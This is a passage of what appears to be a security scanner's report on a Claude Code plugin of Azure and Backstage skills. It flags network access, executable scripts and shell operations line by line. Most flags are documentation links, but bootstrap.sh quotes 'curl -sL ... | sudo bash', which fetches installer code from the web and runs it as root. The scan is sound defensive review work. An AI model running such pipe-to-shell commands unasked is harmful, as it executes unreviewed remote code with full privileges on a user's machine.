- [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/) - Network accessline 73
- [Model Context Protocol](https://modelcontextprotocol.io/) - Network accessline 74
- [GitHub Models](https://docs.github.com/github-models)
harness/claude-code/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/references/caching.md
- Network accessline 46
- [Azure API Management semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy) - Network accessline 47
- [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/) - Network accessline 48
- [RedisVL semantic cache](https://redis.io/docs/latest/integrate/redisvl/)
harness/claude-code/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/references/context-curation.md
- Network accessline 47
- [Retrieval augmented generation on Azure AI Search](https://learn.microsoft.com/azure/search/retrieval-augmented-generation-overview) - Network accessline 48
- [Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/) - Network accessline 49
- [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/)
harness/claude-code/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/references/evaluation-observability-cost.md
- Network accessline 35
- [Azure AI Foundry evaluation](https://learn.microsoft.com/azure/ai-foundry/concepts/evaluation-approach-gen-ai) - Network accessline 36
- [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/) - Network accessline 37
- [Monitor generative AI applications](https://learn.microsoft.com/azure/ai-foundry/how-to/monitor-applications) - Network accessline 38
- [Azure Well-Architected cost optimization](https://learn.microsoft.com/azure/well-architected/cost-optimization/)
harness/claude-code/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/references/guardrails-and-identity.md
- Network accessline 36
- [Microsoft Entra Agent ID](https://learn.microsoft.com/entra/) - Network accessline 37
- [Azure AI Content Safety](https://learn.microsoft.com/azure/ai-services/content-safety/) - Network accessline 38
- [Prompt Shields](https://learn.microsoft.com/azure/ai-services/content-safety/concepts/jailbreak-detection) - Network accessline 39
- [Azure Well-Architected security for AI](https://learn.microsoft.com/azure/well-architected/ai/)
harness/claude-code/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/references/memory.md
harness/claude-code/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/references/model-routing.md
harness/claude-code/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/references/tools-and-mcp.md
harness/claude-code/plugins/open-horizons-platform/skills/azure-api-center/SKILL.md
- Network accessline 129
- [Azure API Center](https://learn.microsoft.com/azure/api-center/) - Network accessline 130
- [Register APIs in API Center](https://learn.microsoft.com/azure/api-center/register-apis) - Network accessline 131
- [API governance and linting](https://learn.microsoft.com/azure/api-center/enable-api-analysis-linting) - Network accessline 132
- [API Center and API Management](https://learn.microsoft.com/azure/api-center/)
harness/claude-code/plugins/open-horizons-platform/skills/azure-apim-ai-gateway/SKILL.md
- Network accessline 139
- [Azure API Management AI gateway capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities) - Network accessline 140
- [Token limit policy](https://learn.microsoft.com/azure/api-management/llm-token-limit-policy) - Network accessline 141
- [Semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy) - Network accessline 142
- [Load balancing and circuit breaker for backends](https://learn.microsoft.com/azure/api-management/backends)
harness/claude-code/plugins/open-horizons-platform/skills/azure-appinsights-instrumentation/references/AUTO.md
- Network accessline 3
Use Azure Portal to auto-instrument a webapp hosted in Azure App Service for App Insights without making any code changes. Only the following types of app can be auto-instrumented. See [supported environments and resource providers](https:/ - Network accessline 10
https://portal.azure.com/#resource/subscriptions/{subscription_id}/resourceGroups/{resource_group_name}/providers/Microsoft.Web/sites/{app_service_name}/monitoringSettings
harness/claude-code/plugins/open-horizons-platform/skills/azure-appinsights-instrumentation/scripts/appinsights.ps1
- Executable scriptline 1
Executable file
harness/claude-code/plugins/open-horizons-platform/skills/azure-argocd-cli/references/commands.md
- Network accessline 7
# Add ArgoCD Helm repo helm repo add argo https://argoproj.github.io/argo-helm - Network accessline 8
helm repo add argo https://argoproj.github.io/argo-helm - Network accessline 40
# Or add via CLI argocd repo add https://github.com/${GITHUB_ORG}/open-horizons-platform.git \ - Network accessline 41
argocd repo add https://github.com/${GITHUB_ORG}/open-horizons-platform.git \
harness/claude-code/plugins/open-horizons-platform/skills/azure-cli/scripts/setup-identity-federation.sh
- Executable scriptline 1
#!/bin/bash - Dangerous shell operationline 202
trap "rm -f '$tmp'" RETURN - Network accessline 206
{ "name": "${name}", "issuer": "https://token.actions.githubusercontent.com", - Network accessline 207
"name": "${name}", "issuer": "https://token.actions.githubusercontent.com", "audiences": ["api://AzureADTokenExchange"], - Network accessline 208
"issuer": "https://token.actions.githubusercontent.com", - Network accessline 219
{ "name": "${name}", "issuer": "https://token.actions.githubusercontent.com", - Network accessline 220
"name": "${name}", "issuer": "https://token.actions.githubusercontent.com", "subject": "${subject}", - Network accessline 221
"issuer": "https://token.actions.githubusercontent.com",
harness/claude-code/plugins/open-horizons-platform/skills/azure-cost-optimize/SKILL.md
harness/claude-code/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/references/diagram-quality-standard.md
- Network accessline 5
Verification date: 2026-08-25. Primary source: [Create architecture design diagrams](https://learn.microsoft.com/en-us/azure/well-architected/architect-role/design-diagrams).
harness/claude-code/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/references/drawio-xml-schema.md
- Network accessline 133
iconProvider="azure" iconProduct="Azure Key Vault" iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/" - Network accessline 134
iconProduct="Azure Key Vault" iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/" iconTerms="https://learn.microsoft.com/en-us/azure/architecture/icons/" - Network accessline 135
iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/" - Network accessline 136
iconTerms="https://learn.microsoft.com/en-us/azure/architecture/icons/"
harness/claude-code/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/references/official-icon-policy.md
- Network accessline 20
| Family | Official source | Permitted diagram use and constraints | | --- | --- | --- | | Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distribu - Network accessline 21
| --- | --- | --- | | Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distributing, and displaying the supplied icons in architecture diagrams, tra - Network accessline 22
| Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distributing, and displaying the supplied icons in architecture diagrams, training materials, or - Network accessline 23
| Microsoft Entra | [Microsoft Entra architecture icons](https://learn.microsoft.com/en-us/entra/architecture/architecture-icons) | Same architecture, training, and documentation permission. Do not use the architecture icons in marketing co - Network accessline 24
| Microsoft Fabric | [Microsoft Fabric icons](https://learn.microsoft.com/en-us/fabric/fundamentals/icons) | Use product, experience, and item icons in diagrams, slide decks, training, or documentation without altering them. Label the exact - Network accessline 25
| Power Platform | [Microsoft Power Platform icons](https://learn.microsoft.com/en-us/power-platform/guidance/icons) | Use in architecture diagrams, training materials, or documentation. Preserve the icons and use them only for the represen - Network accessline 26
| Dynamics 365 | [Microsoft Dynamics 365 icons](https://learn.microsoft.com/en-us/dynamics365/get-started/icons) | Use in architecture diagrams, training materials, or documentation. Do not use removed or deprecated app icons from older pac - Network accessline 27
| Microsoft 365 | [Microsoft 365 architecture icons and templates](https://learn.microsoft.com/en-us/previous-versions/microsoft-365/solutions/architecture-icons-templates) | The first-party page is archived and retired. Treat it as a fallb - Network accessline 28
| General Microsoft brand assets | [Microsoft Trademark and Brand Guidelines](https://www.microsoft.com/en-us/legal/intellectualproperty/trademarks) | Many logos, app icons, and product icons require a license. Product-family architecture t - Network accessline 29
| GitHub interface concepts | [GitHub Primer Octicons](https://github.com/primer/octicons) | Octicons are GitHub-built SVG interface icons and the repository code license is MIT. Use them for covered interface or workflow concepts, not as s - Network accessline 30
| GitHub logos and product lockups | [GitHub brand logo guidance](https://brand.github.com/foundations/logo) | Use only in permitted contexts, with high contrast and secondary placement. Do not imply affiliation, use a GitHub mark as the us - Network accessline 31
| GitHub Copilot | [GitHub Copilot brand guidance](https://brand.github.com/brand-identity/copilot) | Use current product lockups only when the use is permitted. The former standalone GitHub Copilot logo has been deprecated since 2025; do n
harness/claude-code/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/scripts/.gitignore
- Executable scriptline 1
Executable file
harness/claude-code/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/scripts/README.md
- Network accessline 61
python scripts/add-icon.py docs/architecture.drawio ./icons/key-vault.svg "Azure Key Vault" 320 180 --provider azure --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ - Network accessline 62
"Azure Key Vault" 320 180 \ --provider azure \ --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \ - Network accessline 63
--provider azure \ --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \ --terms-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \ - Network accessline 64
--source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \ - Network accessline 65
--terms-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \
harness/claude-code/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/scripts/add-icon.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/scripts/add-shape.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/scripts/validate-drawio.py
harness/claude-code/plugins/open-horizons-platform/skills/azure-entra-agent-user/SKILL.md
- Network accessline 108
- [Microsoft Entra Agent ID documentation](https://learn.microsoft.com/entra/agent-id/)
harness/claude-code/plugins/open-horizons-platform/skills/azure-import-infrastructure-as-code/SKILL.md
harness/claude-code/plugins/open-horizons-platform/skills/azure-infrastructure/scripts/bootstrap.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 154
echo "Install missing tools:" echo " terraform: brew install terraform" echo " azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 155
echo " terraform: brew install terraform" echo " azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" echo " kubectl: az aks install-cli" - Dangerous shell operationline 156
echo " azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 156
echo " azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 309
CLUSTER_NAME=$(terraform output -raw kubernetes_cluster_name) ACR_NAME=$(terraform output -raw acr_login_server | cut -d'.' -f1) KEY_VAULT=$(terraform output -raw key_vault_uri | sed 's|https://||' | cut -d'.' -f1) - Network accessline 311
KEY_VAULT=$(terraform output -raw key_vault_uri | sed 's|https://||' | cut -d'.' -f1) - Network accessline 364
log_step "Installing ArgoCD..." kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml - Network accessline 365
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml
harness/claude-code/plugins/open-horizons-platform/skills/azure-infrastructure/scripts/platform-bootstrap.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 536
echo "Access URLs:" echo " ArgoCD: https://${argocd_url}" - Network accessline 537
echo " ArgoCD: https://${argocd_url}" - Network accessline 538
echo " Backstage: https://${backstage_url}" - Network accessline 539
echo " Grafana: https://${grafana_url}" - Dangerous shell operationline 591
rm -f "$CHECKPOINT_FILE"
harness/claude-code/plugins/open-horizons-platform/skills/azure-managed-redis-cache/references/access-and-network.md
- Network accessline 32
- [Authenticate to Azure Managed Redis with Microsoft Entra ID](https://learn.microsoft.com/azure/redis/entra-for-authentication) - Network accessline 33
- [Azure Managed Redis network isolation](https://learn.microsoft.com/azure/redis/) - Network accessline 34
- [DefaultAzureCredential](https://learn.microsoft.com/azure/developer/intro/azure-developer-create-resources)
harness/claude-code/plugins/open-horizons-platform/skills/azure-managed-redis-cache/references/semantic-cache.md
- Network accessline 39
- [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/redis-vector-search) - Network accessline 40
- [RedisVL semantic cache](https://redis.io/docs/latest/integrate/redisvl/user_guide/llmcache/) - Network accessline 41
- [Azure API Management semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy)
harness/claude-code/plugins/open-horizons-platform/skills/azure-managed-redis-cache/references/session-store.md
harness/claude-code/plugins/open-horizons-platform/skills/azure-managed-redis-cache/references/vector-memory.md
- Network accessline 32
- [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/redis-vector-search) - Network accessline 33
- [RedisVL vector queries](https://redis.io/docs/latest/integrate/redisvl/) - Network accessline 34
- [Azure AI Search vector search](https://learn.microsoft.com/azure/search/vector-search-overview)
harness/claude-code/plugins/open-horizons-platform/skills/azure-observability-stack/SKILL.md
- Network accessline 36
# Add Helm repos helm repo add prometheus-community https://prometheus-community.github.io/helm-charts - Network accessline 37
helm repo add prometheus-community https://prometheus-community.github.io/helm-charts - Network accessline 84
# Check Prometheus targets curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length' - Network accessline 85
curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length' - Network accessline 88
[Credential-related source omitted] - Network accessline 90
curl -s -u "${GRAFANA_USER}:${GRAFANA_PASSWORD}" http://localhost:3000/api/datasources | jq '.[].name' - Network accessline 103
# Query Prometheus API curl -s http://localhost:9090/api/v1/query?query=up | jq '.data.result' - Network accessline 104
curl -s http://localhost:9090/api/v1/query?query=up | jq '.data.result' - Network accessline 106
# Check targets curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length' - Network accessline 107
curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length' - Network accessline 119
[Credential-related source omitted] - Network accessline 121
curl -s -u "${GRAFANA_USER}:${GRAFANA_PASSWORD}" http://localhost:3000/api/datasources | jq '.[].name' - Network accessline 129
# List active alerts curl -s http://localhost:9093/api/v2/alerts | jq '.[].labels.alertname' - Network accessline 130
curl -s http://localhost:9093/api/v2/alerts | jq '.[].labels.alertname'
harness/claude-code/plugins/open-horizons-platform/skills/azure-observability-stack/references/troubleshooting.md
- Network accessline 14
# Check for scrape errors curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets[] | select(.health != "up") | {job: .labels.job, health, lastError}' - Network accessline 15
curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets[] | select(.health != "up") | {job: .labels.job, health, lastError}'
harness/claude-code/plugins/open-horizons-platform/skills/azure-pricing/SKILL.md
- Network accessline 40
GET https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview - Network accessline 43
Append `$filter` with OData syntax. Keep `api-version=2023-01-01-preview` because savings plan data appears in that version. URL-encode spaces as `%20` and quotes as `%27` when constructing a full URL such as `https://prices.azure.com/api/r - Network accessline 112
| URL | Content | | --- | --- | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. | - Network accessline 113
| --- | --- | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/billi - Network accessline 114
| https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. | - Network accessline 115
| https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing | Licensing options, M365 Copilot inclusions, prepaid and pay-as-you-go context. | - Network accessline 201
- [Azure Retail Prices API](https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview) - Network accessline 202
- [Copilot Studio requirements, messages, and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management) - Network accessline 203
- [Copilot Studio billing and licensing](https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing)
harness/claude-code/plugins/open-horizons-platform/skills/azure-pricing/references/COPILOT-STUDIO-RATES.md
- Network accessline 3
> Source: [Billing rates and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management) - Network accessline 4
> Estimator: [Microsoft agent usage estimator](https://microsoft.github.io/copilot-studio-estimator/) - Network accessline 5
> Licensing Guide: [Copilot Studio Licensing Guide](https://go.microsoft.com/fwlink/?linkid=2320995) - Network accessline 133
- [Billing rates and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management) - Network accessline 134
- [Copilot Studio licensing](https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing) - Network accessline 135
- [Copilot Studio Licensing Guide (PDF)](https://go.microsoft.com/fwlink/?linkid=2320995)
harness/claude-code/plugins/open-horizons-platform/skills/azure-role-selector/SKILL.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration
harness/claude-code/plugins/open-horizons-platform/skills/azure-well-architected-review/SKILL.md
- Network accessline 99
- [Azure Well-Architected Framework](https://learn.microsoft.com/azure/well-architected/)
harness/claude-code/plugins/open-horizons-platform/skills/backstage-app-frontend-system-migration/SKILL.md
- Network accessline 7
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 8
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: eeac444a9aba7c107525d2a726851e907418c181 - Network accessline 9
source-repository: "https://github.com/backstage/backstage"
harness/claude-code/plugins/open-horizons-platform/skills/backstage-app-frontend-system-migration/references/upstream/SKILL.md
- Network accessline 648
- [App migration guide](https://backstage.io/docs/frontend-system/building-apps/migrating) - Network accessline 649
- [Architecture overview](https://backstage.io/docs/frontend-system/architecture/index) - Network accessline 650
- [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints) - Network accessline 651
- [Installing plugins](https://backstage.io/docs/frontend-system/building-apps/installing-plugins)
harness/claude-code/plugins/open-horizons-platform/skills/backstage-mui-to-bui-migration/SKILL.md
- Network accessline 7
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 8
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: eeac444a9aba7c107525d2a726851e907418c181 - Network accessline 9
source-repository: "https://github.com/backstage/backstage"
harness/claude-code/plugins/open-horizons-platform/skills/backstage-mui-to-bui-migration/references/upstream/SKILL.md
harness/claude-code/plugins/open-horizons-platform/skills/backstage-onboard-to-openapi-server/SKILL.md
- Network accessline 7
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 8
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: eeac444a9aba7c107525d2a726851e907418c181 - Network accessline 9
source-repository: "https://github.com/backstage/backstage"
harness/claude-code/plugins/open-horizons-platform/skills/backstage-onboard-to-openapi-server/references/upstream/SKILL.md
- Network accessline 76
- [`plugins/events-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/schema/openapi.yaml) — small, modern reference. - Network accessline 77
- [`plugins/scaffolder-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/schema/openapi.yaml) — larger, with more parameter and schema reuse. - Network accessline 78
- [`plugins/catalog-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/catalog-backend/src/schema/openapi.yaml) — largest, good for query-param-heavy endpoints. - Network accessline 145
[`plugins/events-backend/src/service/hub/createEventBusRouter.ts`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/service/hub/createEventBusRouter.ts) is the canonical example. - Network accessline 178
[`plugins/events-node/src/generated/`](https://github.com/backstage/backstage/tree/master/plugins/events-node/src/generated) is a reference for what a client output looks like. - Network accessline 202
[`plugins/scaffolder-backend/src/service/router.test.ts`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/service/router.test.ts) and [`plugins/catalog-backend/src/service/createRouter.test.ts`](https://git - Network accessline 216
These all live in [`backstage/backstage`](https://github.com/backstage/backstage); the user's workspace likely doesn't contain them. Browse via the links below. - Network accessline 218
| What you need | Where to read | | ---------- - Network accessline 219
| ---------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | Spec examp - Network accessline 220
| Spec example (small) | [`plugins/events-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/schema/openapi.yaml) | - Network accessline 221
| Spec example (large) | [`plugins/catalog-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/catalog-backend/src/schema/openapi.yaml) | - Network accessline 222
| Router using `createOpenApiRouter` | [`plugins/events-backend/src/service/hub/createEventBusRouter.ts`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/service/hub/createEventBusRouter.ts) | - Network accessline 223
| Test using `wrapServer` | [`plugins/scaffolder-backend/src/service/router.test.ts`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/service/router.test.ts) | - Network accessline 224
| Generate command source | [`packages/repo-tools/src/commands/package/schema/openapi/generate/`](https://github.com/backstage/backstage/tree/master/packages/repo-tools/src/commands/package/schema/openapi/generate) | - Network accessline 225
| Spec lint command source | [`packages/repo-tools/src/commands/repo/schema/openapi/lint.ts`](https://github.com/backstage/backstage/blob/master/packages/repo-tools/src/commands/repo/schema/openapi/lint.ts) | - Network accessline 226
| `wrapServer` implementation | [`packages/backend-openapi-utils/src/testUtils.ts`](https://github.com/backstage/backstage/blob/master/packages/backend-openapi-utils/src/testUtils.ts) | - Network accessline 227
| Client output reference | [`plugins/events-node/src/generated/`](https://github.com/backstage/backstage/tree/master/plugins/events-node/src/generated) |
harness/claude-code/plugins/open-horizons-platform/skills/backstage-plugin-analytics-instrumentation/SKILL.md
- Network accessline 7
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 8
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: eeac444a9aba7c107525d2a726851e907418c181 - Network accessline 9
source-repository: "https://github.com/backstage/backstage"
harness/claude-code/plugins/open-horizons-platform/skills/backstage-plugin-builder/references/official-docs.md
- Network accessline 5
| Topic | Official source | | --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> | - Network accessline 6
| --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> | | New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> | - Network accessline 7
| Standalone Backstage app | <https://backstage.io/docs/getting-started/> | - Network accessline 8
| New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> | - Network accessline 9
| New backend plugins and modules | <https://github.com/backstage/backstage/blob/master/docs/backend-system/building-plugins-and-modules/01-index.md> | - Network accessline 10
| Legacy plugin creation reference | <https://backstage.io/docs/plugins/create-a-plugin/> | - Network accessline 11
| Plugin structure reference | <https://backstage.io/docs/plugins/structure-of-a-plugin/> | - Network accessline 12
| Composability and routing reference | <https://backstage.io/docs/plugins/composability/> | - Network accessline 13
| Community plugin contribution | <https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md> | - Network accessline 14
| Backstage repository contribution | <https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md> |
harness/claude-code/plugins/open-horizons-platform/skills/backstage-plugin-builder/scripts/create_backstage_plugin_artifacts.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/open-horizons-platform/skills/backstage-plugin-builder/scripts/test_validate_backstage_plugin.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/open-horizons-platform/skills/backstage-plugin-builder/scripts/validate_backstage_plugin.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/open-horizons-platform/skills/backstage-plugin-builder/scripts/validate_official_docs.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 13
URLS = [ "https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md", - Network accessline 14
"https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md", - Network accessline 15
"https://raw.githubusercontent.com/backstage/backstage/master/docs/backend-system/building-plugins-and-modules/01-index.md", - Network accessline 16
"https://backstage.io/docs/plugins/create-a-plugin/", - Network accessline 17
"https://backstage.io/docs/plugins/composability/", - Network accessline 18
"https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md", - Network accessline 19
"https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md", - Network accessline 23
def check_url(url: str, timeout: int) -> dict: request = urllib.request.Request( - Network accessline 24
request = urllib.request.Request( - Network accessline 25
url, headers={"User-Agent": "backstage-plugin-builder-doc-check"}) try: with urllib.request.urlopen(request, timeout=timeout) as response: - Network accessline 26
try: with urllib.request.urlopen(request, timeout=timeout) as response: return {"url": url, "status": response.status, "ok": 200 <= response.status < 400} - Network accessline 27
with urllib.request.urlopen(request, timeout=timeout) as response:
harness/claude-code/plugins/open-horizons-platform/skills/backstage-plugin-full-frontend-system-migration/SKILL.md
- Network accessline 7
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 8
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: eeac444a9aba7c107525d2a726851e907418c181 - Network accessline 9
source-repository: "https://github.com/backstage/backstage"
harness/claude-code/plugins/open-horizons-platform/skills/backstage-plugin-full-frontend-system-migration/references/upstream/SKILL.md
- Network accessline 122
For the plugin `icon`, prefer using [Remix Icons](https://remixicon.com/) from `@remixicon/react`. If the plugin already has an existing MUI icon, it can be kept with `fontSize="inherit"` (e.g. `<CategoryIcon fontSize="inherit" />`), but fo - Network accessline 550
- [Plugin migration guide](https://backstage.io/docs/frontend-system/building-plugins/migrating) - Network accessline 551
- [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints) - Network accessline 552
- [Utility APIs](https://backstage.io/docs/frontend-system/utility-apis/creating)
harness/claude-code/plugins/open-horizons-platform/skills/backstage-plugin-new-frontend-system-support/SKILL.md
- Network accessline 7
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 8
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: eeac444a9aba7c107525d2a726851e907418c181 - Network accessline 9
source-repository: "https://github.com/backstage/backstage"
harness/claude-code/plugins/open-horizons-platform/skills/backstage-plugin-new-frontend-system-support/references/upstream/SKILL.md
- Network accessline 56
For the plugin `icon`, prefer using [Remix Icons](https://remixicon.com/) from `@remixicon/react`. If the plugin already has an existing MUI icon, it can be kept with `fontSize="inherit"` (e.g. `<CategoryIcon fontSize="inherit" />`), but fo - Network accessline 425
- [Plugin migration guide](https://backstage.io/docs/frontend-system/building-plugins/migrating) - Network accessline 426
- [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints) - Network accessline 427
- [Utility APIs](https://backstage.io/docs/frontend-system/utility-apis/creating)
harness/claude-code/plugins/open-horizons-platform/skills/cloud-architecture-best-practices-docs/scripts/validate_arch.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/open-horizons-platform/skills/cloud-design-patterns/SKILL.md
harness/claude-code/plugins/open-horizons-platform/skills/create-llms/SKILL.md
- Network accessline 4
Create a new repository-root llms.txt file from repository structure and documentation according to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document repository structure for LLMs, or a - Network accessline 5
to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document repository structure for LLMs, or add an llms.txt compliant with https://llmstxt.org/. --- - Network accessline 6
document repository structure for LLMs, or add an llms.txt compliant with https://llmstxt.org/. - Network accessline 25
- No root `/llms.txt` exists, or the user explicitly wants it recreated from scratch. - Repository structure is available for analysis. - Use the official llms.txt specification at `https://llmstxt.org/` and preserve baseline URL spelling ` - Network accessline 27
- Use the official llms.txt specification at `https://llmstxt.org/` and preserve baseline URL spelling `https://llmstxt.org/.` for migration checks. - Network accessline 148
- [llms.txt specification](https://llmstxt.org/) - Network accessline 149
- Baseline URL spelling preserved for migration checks: https://llmstxt.org/.
harness/claude-code/plugins/open-horizons-platform/skills/foundry-agent-blueprint/SKILL.md
- Network accessline 67
- [Azure AI Foundry Agent Service](https://learn.microsoft.com/azure/ai-foundry/agents/) - Network accessline 68
- [Azure AI Foundry model catalog](https://learn.microsoft.com/azure/ai-foundry/how-to/model-catalog-overview) - Network accessline 69
- [Foundry tools](https://learn.microsoft.com/azure/ai-foundry/agents/how-to/tools/overview) - Network accessline 70
- [Evaluate generative AI with Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/concepts/evaluation-approach-gen-ai)
harness/claude-code/plugins/open-horizons-platform/skills/foundry-agent-framework-py-release/SKILL.md
- Network accessline 172
### Added - **agent-framework-<pkg>**: <subject> ([#NNNN](https://github.com/microsoft/agent-framework/pull/NNNN)) - Network accessline 173
- **agent-framework-<pkg>**: <subject> ([#NNNN](https://github.com/microsoft/agent-framework/pull/NNNN)) - Network accessline 190
**Entry format:** - `- **agent-framework-<pkg>**: <subject, grammar-normalized> ([#NNNN](https://github.com/microsoft/agent-framework/pull/NNNN))` - Network accessline 191
- `- **agent-framework-<pkg>**: <subject, grammar-normalized> ([#NNNN](https://github.com/microsoft/agent-framework/pull/NNNN))` - Network accessline 249
Two edits when a released-tier bump is in play: 1. Advance `[Unreleased]` compare base from `python-${OLD_RELEASED}...HEAD` to `python-${NEW_RELEASED}...HEAD`. 2. INSERT a new `[${NEW_RELEASED}]` line ABOVE the previous version's link: `[${ - Network accessline 251
2. INSERT a new `[${NEW_RELEASED}]` line ABOVE the previous version's link: `[${NEW_RELEASED}]: https://github.com/microsoft/agent-framework/compare/python-${OLD_RELEASED}...python-${NEW_RELEASED}` - Dangerous shell operationline 264
